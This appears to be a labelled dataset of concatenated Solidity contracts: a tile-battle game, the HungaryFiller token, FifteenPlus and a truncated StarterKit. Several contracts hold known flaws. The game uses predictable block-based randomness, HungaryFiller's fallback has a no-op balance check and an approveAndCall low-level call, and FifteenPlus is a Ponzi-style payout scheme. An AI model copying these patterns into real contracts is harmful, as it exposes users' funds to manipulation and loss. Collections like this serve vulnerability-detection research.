for (uint16 i = 0; i < tileCount; i++) {
tileId = _claimedTileIds[i];
isNewTile = bwData.isNewTile(tileId);
require(isNewTile);
emit TileClaimed(tileId, _msgSender, valuePerBlockInWei, block.timestamp);
bwData.storeClaim(tileId, _msgSender, valuePerBlockInWei);
}
}
function fortifyClaims(address _msgSender, uint16[] _claimedTileIds, uint _fortifyAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
address(this).balance.add(_fortifyAmount);
require(_fortifyAmount % tileCount == 0);
uint addedValuePerTileInWei = _fortifyAmount.div(tileCount);
require(_fortifyAmount >= 1 finney * tileCount);
address claimer;
uint blockValue;
for (uint16 i = 0; i < tileCount; i++) {
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_claimedTileIds[i]);
require(claimer != 0);
require(claimer == _msgSender);
if (_useBattleValue) {
subUserBattleValue(_msgSender, addedValuePerTileInWei, false);
}
fortifyClaim(_msgSender, _claimedTileIds[i], addedValuePerTileInWei);
}
}
function fortifyClaim(address _msgSender, uint16 _claimedTileId, uint _fortifyAmount) private {
uint blockValue;
uint sellPrice;
(blockValue, sellPrice) = bwData.getCurrentBlockValueAndSellPriceForTile(_claimedTileId);
uint updatedBlockValue = blockValue.add(_fortifyAmount);
emit TileFortified(_claimedTileId, _msgSender, _fortifyAmount, updatedBlockValue, block.timestamp);
bwData.updateTileBlockValue(_claimedTileId, updatedBlockValue);
addGlobalBlockValueBalance(_fortifyAmount);
}
function random(uint _upper) private returns (uint) {
seed = uint(keccak256(blockhash(block.number - 1), block.coinbase, block.timestamp, seed, address(0x3f5CE5FBFe3E9af3971dD833D26bA9b5C936f0bE).balance));
return seed % _upper;
}
function attackTile(address _msgSender, uint16 _tileId, uint _attackAmount, bool _useBattleValue) public isValidCaller {
require(_attackAmount >= 1 finney);
require(_attackAmount % 1 finney == 0);
address claimer;
uint blockValue;
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_tileId);
require(claimer != 0);
require(claimer != _msgSender);
require(claimer != owner);
uint attackBoost;
uint defendBoost;
(attackBoost, defendBoost) = bwData.calculateBattleBoost(_tileId, _msgSender, claimer);
attackBoost = attackBoost.mul(ATTACK_BOOST_MULTIPLIER).div(100);
defendBoost = defendBoost.mul(DEFEND_BOOST_MULTIPLIER).div(100);
if (attackBoost > _attackAmount.mul(ATTACK_BOOST_CAP).div(100)) {
attackBoost = _attackAmount.mul(ATTACK_BOOST_CAP).div(100);
}
if (defendBoost > blockValue.mul(DEFEND_BOOST_CAP).div(100)) {
defendBoost = blockValue.mul(DEFEND_BOOST_CAP).div(100);
}
uint totalAttackAmount = _attackAmount.add(attackBoost);
uint totalDefendAmount = blockValue.add(defendBoost);
require(totalAttackAmount.div(10) <= totalDefendAmount);
require(totalAttackAmount >= totalDefendAmount.div(10));
uint attackFeeAmount = _attackAmount.mul(ATTACK_FEE).div(100);
uint attackAmountAfterFee = _attackAmount.sub(attackFeeAmount);
updateFeeBalance(attackFeeAmount);
uint attackRoll = random(totalAttackAmount.add(totalDefendAmount));
if (attackRoll > totalDefendAmount) {
bwData.setClaimerForTile(_tileId, _msgSender);
if (_useBattleValue) {
addUserBattleValue(_msgSender, attackAmountAfterFee);
subUserBattleValue(_msgSender, attackAmountAfterFee, false);
} else {
addUserBattleValue(_msgSender, attackAmountAfterFee);
}
addUserBattleValue(claimer, 0);
bwData.updateTileTimeStamp(_tileId);
emit TileAttackedSuccessfully(_tileId, _msgSender, attackAmountAfterFee, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
} else {
bwData.setClaimerForTile(_tileId, claimer);
if (_useBattleValue) {
subUserBattleValue(_msgSender, attackAmountAfterFee, false);
}
addUserBattleValue(claimer, attackAmountAfterFee);
emit TileDefendedSuccessfully(_tileId, _msgSender, attackAmountAfterFee, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
}
}
function updateFeeBalance(uint attackFeeAmount) private {
uint feeBalance = bwData.getFeeBalance();
feeBalance = feeBalance.add(attackFeeAmount);
bwData.setFeeBalance(feeBalance);
}
function moveBlockValue(address _msgSender, uint8 _xSource, uint8 _ySource, uint8 _xDest, uint8 _yDest, uint _moveAmount) public isValidCaller {
uint16 sourceTileId = BWUtility.toTileId(_xSource, _ySource);
uint16 destTileId = BWUtility.toTileId(_xDest, _yDest);
address sourceTileClaimer;
address destTileClaimer;
uint sourceTileBlockValue;
uint destTileBlockValue;
(sourceTileClaimer, sourceTileBlockValue) = bwData.getTileClaimerAndBlockValue(sourceTileId);
(destTileClaimer, destTileBlockValue) = bwData.getTileClaimerAndBlockValue(destTileId);
uint newBlockValue = sourceTileBlockValue.sub(_moveAmount);
require(newBlockValue == 0 || newBlockValue >= 5 finney);
require(sourceTileClaimer == _msgSender);
require(destTileClaimer == _msgSender);
require(_moveAmount >= 1 finney);
require(_moveAmount % 1 finney == 0);
require(BWUtility.isAdjacent(_xSource, _ySource, _xDest, _yDest));
sourceTileBlockValue = sourceTileBlockValue.sub(_moveAmount);
destTileBlockValue = destTileBlockValue.add(_moveAmount);
if (sourceTileBlockValue == 0) {
bwData.deleteTile(sourceTileId);
} else {
bwData.updateTileBlockValue(sourceTileId, sourceTileBlockValue);
bwData.deleteOffer(sourceTileId);
}
bwData.updateTileBlockValue(destTileId, destTileBlockValue);
bwData.deleteOffer(destTileId);
emit BlockValueMoved(sourceTileId, destTileId, _msgSender, _moveAmount, sourceTileBlockValue, destTileBlockValue, block.timestamp);
}
function verifyAmount(address _msgSender, uint _msgValue, uint _amount, bool _useBattleValue) view public isValidCaller {
if (_useBattleValue) {
require(_msgValue == 0);
require(bwData.getUserBattleValue(_msgSender) >= _amount);
} else {
require(_amount == _msgValue);
}
}
function setLocalGame(uint16 _tileId, address localGameAddress) public isOwner {
localGames[_tileId] = localGameAddress;
}
function getLocalGame(uint16 _tileId) view public isValidCaller returns (address) {
return localGames[_tileId];
}
function withdrawBattleValue(address msgSender, uint _battleValueInWei) public isValidCaller returns (uint) {
uint fee = _battleValueInWei.mul(WITHDRAW_FEE).div(100);
uint amountToWithdraw = _battleValueInWei.sub(fee);
uint feeBalance = bwData.getFeeBalance();
feeBalance = feeBalance.add(fee);
bwData.setFeeBalance(feeBalance);
subUserBattleValue(msgSender, _battleValueInWei, true);
return amountToWithdraw;
}
function addUserBattleValue(address _userId, uint _amount) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
uint newBattleValue = userBattleValue.add(_amount);
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, false);
}
function subUserBattleValue(address _userId, uint _amount, bool _isWithdraw) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
require(_amount <= userBattleValue);
uint newBattleValue = userBattleValue.sub(_amount);
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, _isWithdraw);
}
function addGlobalBlockValueBalance(uint _amount) public isValidCaller {
uint blockValueBalance = bwData.getBlockValueBalance();
bwData.setBlockValueBalance(blockValueBalance.add(_amount));
}
function subGlobalBlockValueBalance(uint _amount) public isValidCaller {
uint blockValueBalance = bwData.getBlockValueBalance();
bwData.setBlockValueBalance(blockValueBalance.sub(_amount));
}
function transferTokens(address _tokenAddress, address _recipient) public isOwner {
ERC20I token = ERC20I(_tokenAddress);
require(token.transfer(_recipient, token.balanceOf(this)));
}
}
contract BWData {
address public owner;
address private bwService;
address private bw;
address private bwMarket;
uint private blockValueBalance = 0;
uint private feeBalance = 0;
uint private BASE_TILE_PRICE_WEI = 1 finney;
mapping (address => User) private users;
mapping (uint16 => Tile) private tiles;
struct User {
uint creationTime;
bool censored;
uint battleValue;
}
struct Tile {
address claimer;
uint blockValue;
uint creationTime;
uint sellPrice;
}
struct Boost {
uint8 numAttackBoosts;
uint8 numDefendBoosts;
uint attackBoost;
uint defendBoost;
}
constructor() public {
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
modifier isValidCaller {
if (msg.sender != bwService && msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
function setBwServiceValidCaller(address _bwService) public isOwner {
bwService = _bwService;
}
function setBwValidCaller(address _bw) public isOwner {
bw = _bw;
}
function setBwMarketValidCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function addUser(address _msgSender) public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime == 0);
user.creationTime = block.timestamp;
}
function hasUser(address _user) view public isValidCaller returns (bool) {
return users[_user].creationTime != 0;
}
function getTile(uint16 _tileId) view public isValidCaller returns (address, uint, uint, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue, currentTile.creationTime, currentTile.sellPrice);
}
function getTileClaimerAndBlockValue(uint16 _tileId) view public isValidCaller returns (address, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue);
}
function isNewTile(uint16 _tileId) view public isValidCaller returns (bool) {
Tile storage currentTile = tiles[_tileId];
return currentTile.creationTime == 0;
}
function storeClaim(uint16 _tileId, address _claimer, uint _blockValue) public isValidCaller {
tiles[_tileId] = Tile(_claimer, _blockValue, block.timestamp, 0);
}
function updateTileBlockValue(uint16 _tileId, uint _blockValue) public isValidCaller {
tiles[_tileId].blockValue = _blockValue;
}
function setClaimerForTile(uint16 _tileId, address _claimer) public isValidCaller {
tiles[_tileId].claimer = _claimer;
}
function updateTileTimeStamp(uint16 _tileId) public isValidCaller {
tiles[_tileId].creationTime = block.timestamp;
}
function getCurrentClaimerForTile(uint16 _tileId) view public isValidCaller returns (address) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return 0;
}
return currentTile.claimer;
}
function getCurrentBlockValueAndSellPriceForTile(uint16 _tileId) view public isValidCaller returns (uint, uint) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return (0, 0);
}
return (currentTile.blockValue, currentTile.sellPrice);
}
function getBlockValueBalance() view public isValidCaller returns (uint){
return blockValueBalance;
}
function setBlockValueBalance(uint _blockValueBalance) public isValidCaller {
blockValueBalance = _blockValueBalance;
}
function getFeeBalance() view public isValidCaller returns (uint) {
return feeBalance;
}
function setFeeBalance(uint _feeBalance) public isValidCaller {
feeBalance = _feeBalance;
}
function getUserBattleValue(address _userId) view public isValidCaller returns (uint) {
return users[_userId].battleValue;
}
function setUserBattleValue(address _userId, uint _battleValue) public isValidCaller {
users[_userId].battleValue = _battleValue;
}
function verifyAmount(address _msgSender, uint _msgValue, uint _amount, bool _useBattleValue) view public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime != 0);
if (_useBattleValue) {
require(_msgValue == 0);
require(user.battleValue >= _amount);
} else {
require(_amount == _msgValue);
}
}
function addBoostFromTile(Tile _tile, address _attacker, address _defender, Boost memory _boost) pure private {
if (_tile.claimer == _attacker) {
require(_boost.attackBoost + _tile.blockValue >= _tile.blockValue);
_boost.attackBoost += _tile.blockValue;
_boost.numAttackBoosts += 1;
} else if (_tile.claimer == _defender) {
require(_boost.defendBoost + _tile.blockValue >= _tile.blockValue);
_boost.defendBoost += _tile.blockValue;
_boost.numDefendBoosts += 1;
}
}
function calculateBattleBoost(uint16 _tileId, address _attacker, address _defender) view public isValidCaller returns (uint, uint) {
uint8 x;
uint8 y;
(x, y) = BWUtility.fromTileId(_tileId);
Boost memory boost = Boost(0, 0, 0, 0);
if (y != 255) {
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y+1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y+1)], _attacker, _defender, boost);
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y+1)], _attacker, _defender, boost);
}
}
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y)], _attacker, _defender, boost);
}
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y)], _attacker, _defender, boost);
}
if (y != 0) {
if(x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y-1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y-1)], _attacker, _defender, boost);
if(x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y-1)], _attacker, _defender, boost);
}
}
boost.attackBoost = (boost.attackBoost / 10 * boost.numAttackBoosts);
boost.defendBoost = (boost.defendBoost / 10 * boost.numDefendBoosts);
return (boost.attackBoost, boost.defendBoost);
}
function censorUser(address _userAddress, bool _censored) public isValidCaller {
User storage user = users[_userAddress];
require(user.creationTime != 0);
user.censored = _censored;
}
function deleteTile(uint16 _tileId) public isValidCaller {
delete tiles[_tileId];
}
function setSellPrice(uint16 _tileId, uint _sellPrice) public isValidCaller {
tiles[_tileId].sellPrice = _sellPrice;
}
function deleteOffer(uint16 _tileId) public isValidCaller {
tiles[_tileId].sellPrice = 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface LocalGameI {
function getBountyBalance() view external returns (uint);
function getTimeLeftToNextCollect(address _claimer, uint _latestClaimTime) view external returns (uint);
function collectBounty(address _msgSender, uint _latestClaimTime, uint _amount) external returns (uint);
}
contract ERC721 {
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
}
contract BW {
using SafeMath for uint256;
address public owner;
BWService private bwService;
BWData private bwData;
bool public paused = false;
uint private BV_TO_BP_FEE = 5;
mapping (uint16 => Prize[]) private prizes;
struct Prize {
address token;
uint tokenId;
uint startTime;
uint hodlPeriod;
}
event PrizeCreated(uint16 tileId, address token, uint tokenId, uint creationTime, uint startTime, uint hodlPeriod);
event PrizeRemoved(uint16 tileId, address token, uint tokenId, uint removeTime);
event PrizeClaimed(address token, uint tokenId);
function addPrize(uint16 _tileId, address _token, uint _tokenId, uint _startTime, uint _hodlPeriod) public isOwner {
uint startTime = _startTime;
if(startTime < block.timestamp) {
startTime = block.timestamp;
}
prizes[_tileId].push(Prize(_token, _tokenId, startTime, _hodlPeriod));
emit PrizeCreated(_tileId, _token, _tokenId, block.timestamp, startTime, _hodlPeriod);
}
function removePrize(uint16 _tileId, address _token, uint _tokenId) public isOwner {
Prize[] storage prizeArr = prizes[_tileId];
require(prizeArr.length > 0);
for(uint idx = 0; idx < prizeArr.length; ++idx) {
if(prizeArr[idx].tokenId == _tokenId && prizeArr[idx].token == _token) {
delete prizeArr[idx];
emit PrizeRemoved(_tileId, _token, _tokenId, block.timestamp);
}
}
}
function claimPrize(address _tokenAddress, uint16 _tileId) public isNotPaused isNotContractCaller {
ERC721 token = ERC721(_tokenAddress);
Prize[] storage prizeArr = prizes[_tileId];
require(prizeArr.length > 0);
address claimer;
uint blockValue;
uint lastClaimTime;
uint sellPrice;
(claimer, blockValue, lastClaimTime, sellPrice) = bwData.getTile(_tileId);
require(lastClaimTime != 0 && claimer == msg.sender);
for(uint idx = 0; idx < prizeArr.length; ++idx) {
if(prizeArr[idx].startTime.add(prizeArr[idx].hodlPeriod) <= block.timestamp
&& lastClaimTime.add(prizeArr[idx].hodlPeriod) <= block.timestamp) {
uint tokenId = prizeArr[idx].tokenId;
address tokenOwner = token.ownerOf(tokenId);
delete prizeArr[idx];
token.safeTransferFrom(tokenOwner, msg.sender, tokenId);
emit PrizeClaimed(_tokenAddress, tokenId);
}
}
}
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
modifier isNotPaused {
if (paused) {
revert();
}
_;
}
modifier isNotContractCaller {
require(msg.sender == tx.origin);
_;
}
event UserCreated(address userAddress, bytes32 name, bytes imageUrl, bytes32 tag, bytes32 homeUrl, uint creationTime, address invitedBy);
event UserCensored(address userAddress, bool isCensored);
event TransferTileFromOwner(uint16 tileId, address seller, address buyer, uint acceptTime);
event UserUpdated(address userAddress, bytes32 name, bytes imageUrl, bytes32 tag, bytes32 homeUrl, uint updateTime);
event TileRetreated(uint16 tileId, address owner, uint amount, uint newBlockValue, uint retreatTime);
event BountyCollected(uint tile, address userAddress, uint amount, uint amountCollected, uint collectedTime, uint latestClaimTime);
constructor(address _bwService, address _bwData) public {
bwService = BWService(_bwService);
bwData = BWData(_bwData);
owner = msg.sender;
}
function () payable public isOwner {
}
function claimTilesForNewUser(bytes32 _name, bytes _imageUrl, bytes32 _tag, bytes32 _homeUrl, uint16[] _claimedTileIds, address _invitedBy) payable public isNotPaused isNotContractCaller {
bwData.addUser(msg.sender);
emit UserCreated(msg.sender, _name, _imageUrl, _tag, _homeUrl, block.timestamp, _invitedBy);
bwService.storeInitialClaim(msg.sender, _claimedTileIds, msg.value, false);
}
function claimTilesForExistingUser(uint16[] _claimedTileIds, uint _claimAmount, bool _useBattleValue) payable public isNotPaused isNotContractCaller {
bwService.verifyAmount(msg.sender, msg.value, _claimAmount, _useBattleValue);
bwService.storeInitialClaim(msg.sender, _claimedTileIds, _claimAmount, _useBattleValue);
}
function updateUser(bytes32 _name, bytes _imageUrl, bytes32 _tag, bytes32 _homeUrl) public isNotPaused isNotContractCaller {
require(bwData.hasUser(msg.sender));
emit UserUpdated(msg.sender, _name, _imageUrl, _tag, _homeUrl, block.timestamp);
}
function fortifyClaims(uint16[] _claimedTileIds, uint _fortifyAmount, bool _useBattleValue) payable public isNotPaused isNotContractCaller {
bwService.verifyAmount(msg.sender, msg.value, _fortifyAmount, _useBattleValue);
bwService.fortifyClaims(msg.sender, _claimedTileIds, _fortifyAmount, _useBattleValue);
}
function attackTileForNewUser(uint16 _tileId, bytes32 _name, bytes _imageUrl, bytes32 _tag, bytes32 _homeUrl, address _invitedBy) payable public isNotPaused isNotContractCaller {
bwData.addUser(msg.sender);
emit UserCreated(msg.sender, _name, _imageUrl, _tag, _homeUrl, block.timestamp, _invitedBy);
bwService.attackTile(msg.sender, _tileId, msg.value, false);
}
function attackTileForExistingUser(uint16 _tileId, uint _attackAmount, bool _useBattleValue) payable public isNotPaused isNotContractCaller {
bwService.verifyAmount(msg.sender, msg.value, _attackAmount, _useBattleValue);
bwService.attackTile(msg.sender, _tileId, _attackAmount, _useBattleValue);
}
function moveBlockValue(uint8 _xSource, uint8 _ySource, uint8 _xDest, uint8 _yDest, uint _moveAmount) public isNotPaused isNotContractCaller {
require(_moveAmount > 0);
bwService.moveBlockValue(msg.sender, _xSource, _ySource, _xDest, _yDest, _moveAmount);
}
function withdrawBattleValue(uint _battleValueInWei) public isNotContractCaller {
require(_battleValueInWei > 0);
uint amountToWithdraw = bwService.withdrawBattleValue(msg.sender, _battleValueInWei);
msg.sender.transfer(amountToWithdraw);
}
function transferBlockValueToBattleValue(uint16 _tileId, uint _amount) public isNotContractCaller {
require(_amount > 0);
address claimer;
uint blockValue;
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_tileId);
require(claimer == msg.sender);
uint newBlockValue = blockValue.sub(_amount);
require(newBlockValue == 0 || newBlockValue >= 5 finney);
if(newBlockValue == 0) {
bwData.deleteTile(_tileId);
} else {
bwData.updateTileBlockValue(_tileId, newBlockValue);
bwData.deleteOffer(_tileId);
}
uint fee = _amount.mul(BV_TO_BP_FEE).div(100);
uint userAmount = _amount.sub(fee);
uint feeBalance = bwData.getFeeBalance();
feeBalance = feeBalance.add(fee);
bwData.setFeeBalance(feeBalance);
bwService.addUserBattleValue(msg.sender, userAmount);
bwService.subGlobalBlockValueBalance(_amount);
emit TileRetreated(_tileId, msg.sender, _amount, newBlockValue, block.timestamp);
}
function getLocalBountyBalance(uint16 _tileId) view public isNotContractCaller returns (uint) {
address localGameAddress = bwService.getLocalGame(_tileId);
require(localGameAddress != 0);
LocalGameI localGame = LocalGameI(localGameAddress);
return localGame.getBountyBalance();
}
function getTimeLeftToNextLocalBountyCollect(uint16 _tileId) view public isNotContractCaller returns (uint) {
address localGameAddress = bwService.getLocalGame(_tileId);
require(localGameAddress != 0);
LocalGameI localGame = LocalGameI(localGameAddress);
address claimer;
uint blockValue;
uint latestClaimTime;
uint sellPrice;
(claimer, blockValue, latestClaimTime, sellPrice) = bwData.getTile(_tileId);
return localGame.getTimeLeftToNextCollect(claimer, latestClaimTime);
}
function collectLocalBounty(uint16 _tileId, uint _amount) public isNotContractCaller {
address localGameAddress = bwService.getLocalGame(_tileId);
require(localGameAddress != 0);
address claimer;
uint blockValue;
uint latestClaimTime;
uint sellPrice;
(claimer, blockValue, latestClaimTime, sellPrice) = bwData.getTile(_tileId);
require(latestClaimTime != 0 && claimer == msg.sender);
LocalGameI localGame = LocalGameI(localGameAddress);
uint amountCollected = localGame.collectBounty(msg.sender, latestClaimTime, _amount);
emit BountyCollected(_tileId, msg.sender, _amount, amountCollected, block.timestamp, latestClaimTime);
}
function createNewUser(bytes32 _name, bytes _imageUrl, bytes32 _tag, bytes32 _homeUrl, address _user) public isOwner {
bwData.addUser(_user);
emit UserCreated(_user, _name, _imageUrl, _tag, _homeUrl, block.timestamp, msg.sender);
}
function censorUser(address _userAddress, bool _censored) public isOwner {
bwData.censorUser(_userAddress, _censored);
emit UserCensored(_userAddress, _censored);
}
function setPaused(bool _paused) public isOwner {
paused = _paused;
}
function kill() public isOwner {
selfdestruct(owner);
}
function withdrawFee() public isOwner {
uint balance = address(this).balance;
uint amountToWithdraw = bwData.getFeeBalance();
if (balance < amountToWithdraw) {
amountToWithdraw = balance;
}
bwData.setFeeBalance(0);
owner.transfer(amountToWithdraw);
}
function getFee() view public isOwner returns (uint) {
return bwData.getFeeBalance();
}
function setBvToBpFee(uint _feePercentage) public isOwner {
BV_TO_BP_FEE = _feePercentage;
}
function depositBattleValue(address _user) payable public isOwner {
require(msg.value % 1 finney == 0);
bwService.addUserBattleValue(_user, msg.value);
}
function transferTileFromOwner(uint16[] _tileIds, address _newOwner) public isOwner {
for(uint i = 0; i < _tileIds.length; ++i) {
uint16 tileId = _tileIds[i];
address claimer = bwData.getCurrentClaimerForTile(tileId);
require(claimer == owner);
bwData.setClaimerForTile(tileId, _newOwner);
emit TransferTileFromOwner(tileId, _newOwner, msg.sender, block.timestamp);
}
}
function transferTokens(address _tokenAddress, address _recipient) public isOwner {
ERC20I token = ERC20I(_tokenAddress);
require(token.transfer(_recipient, token.balanceOf(this)));
}
} | 0 | 1,460 |
pragma solidity ^0.4.12;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract HungaryFiller is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function HungaryFiller() {
balances[msg.sender] = 99999999999999999999999999999;
totalSupply = 99999999999999999999999999999;
name = "HungaryFiller";
decimals = 2;
symbol = "HUF";
unitsOneEthCanBuy = 10;
fundsWallet = msg.sender;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 2,818 |
pragma solidity ^0.4.24;
contract FifteenPlus {
address owner;
address ths = this;
mapping (address => uint256) balance;
mapping (address => uint256) overallPayment;
mapping (address => uint256) timestamp;
mapping (address => uint256) prtime;
mapping (address => uint16) rate;
constructor() public { owner = msg.sender;}
function() external payable {
if((now-prtime[owner]) >= 86400){
owner.transfer(ths.balance / 100);
prtime[owner] = now;
}
if (balance[msg.sender] != 0){
uint256 paymentAmount = balance[msg.sender]*rate[msg.sender]/1000*(now-timestamp[msg.sender])/86400;
msg.sender.transfer(paymentAmount);
overallPayment[msg.sender]+=paymentAmount;
}
timestamp[msg.sender] = now;
balance[msg.sender] += msg.value;
if(balance[msg.sender]>overallPayment[msg.sender])
rate[msg.sender]=150;
else
rate[msg.sender]=15;
}
} | 0 | 1,893 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StarterKit is Ownable {
uint256 public constant COPPER_AMOUNT_NDC = 1000 * 10**18;
uint256 public constant COPPER_AMOUNT_TPT = 1500 * 10**18;
uint256 public constant COPPER_AMOUNT_SKL = 25 * 10**18;
uint256 public constant COPPER_AMOUNT_XPER = 12 * 10**2;
uint256 public constant BRONZE_AMOUNT_NDC = 2000 * 10**18;
uint256 public constant BRONZE_AMOUNT_TPT = 4000 * 10**18;
uint256 public constant BRONZE_AMOUNT_SKL = 50 * 10**18;
uint256 public constant BRONZE_AMOUNT_XPER = 25 * 10**2;
uint256 public constant SILVER_AMOUNT_NDC = 11000 * 10**18;
uint256 public constant SILVER_AMOUNT_TPT = 33000 * 10**18;
uint256 public constant SILVER_AMOUNT_SKL = 100 * 10**18;
uint256 public constant SILVER_AMOUNT_XPER = 50 * 10**2;
uint256 public constant GOLD_AMOUNT_NDC = 25000 * 10**18;
uint256 public constant GOLD_AMOUNT_TPT = 100000 * 10**18;
uint256 public constant GOLD_AMOUNT_SKL = 200 * 10**18;
uint256 public constant GOLD_AMOUNT_XPER = 100 * 10**2;
uint256 public constant PLATINUM_AMOUNT_NDC = 250000 * 10**18;
uint256 public constant PLATINUM_AMOUNT_TPT = 1250000 * 10**18;
uint256 public constant PLATINUM_AMOUNT_SKL = 2000 * 10**18;
uint256 public constant PLATINUM_AMOUNT_XPER = 500 * 10**2;
ERC20 public tpt;
ERC20 public ndc;
ERC20 public skl;
ERC20 public xper;
address public neverdieSigner;
event BuyCopper(
address indexed to,
uint256 CopperPrice,
uint256 value
);
event BuyBronze(
address indexed to,
uint256 BronzePrice,
uint256 value
);
event BuySilver(
address indexed to,
uint256 SilverPrice,
uint256 value
);
event BuyGold(
address indexed to,
uint256 GoldPrice,
uint256 value
);
event BuyPlatinum(
address indexed to,
uint256 PlatinumPrice,
uint256 value
);
function StarterKit(address _tptContractAddress, address _ndcContractAddress,
address _sklContractAddress, address _xperContractAddress,
address _signer) public {
tpt = ERC20(_tptContractAddress);
ndc = ERC20(_ndcContractAddress);
skl = ERC20(_sklContractAddress);
xper = ERC20(_xperContractAddress);
neverdieSigner = _signer;
}
function setNDCContractAddress(address _to) external onlyOwner {
ndc = ERC20(_to);
}
function setTPTContractAddress(address _to) external onlyOwner {
tpt = ERC20(_to);
}
function setSKLContractAddress(address _to) external onlyOwner {
skl = ERC20(_to);
}
function setXPERContractAddress(address _to) external onlyOwner {
xper = ERC20(_to);
}
function setSignerAddress(address _to) external onlyOwner {
neverdieSigner = _to;
}
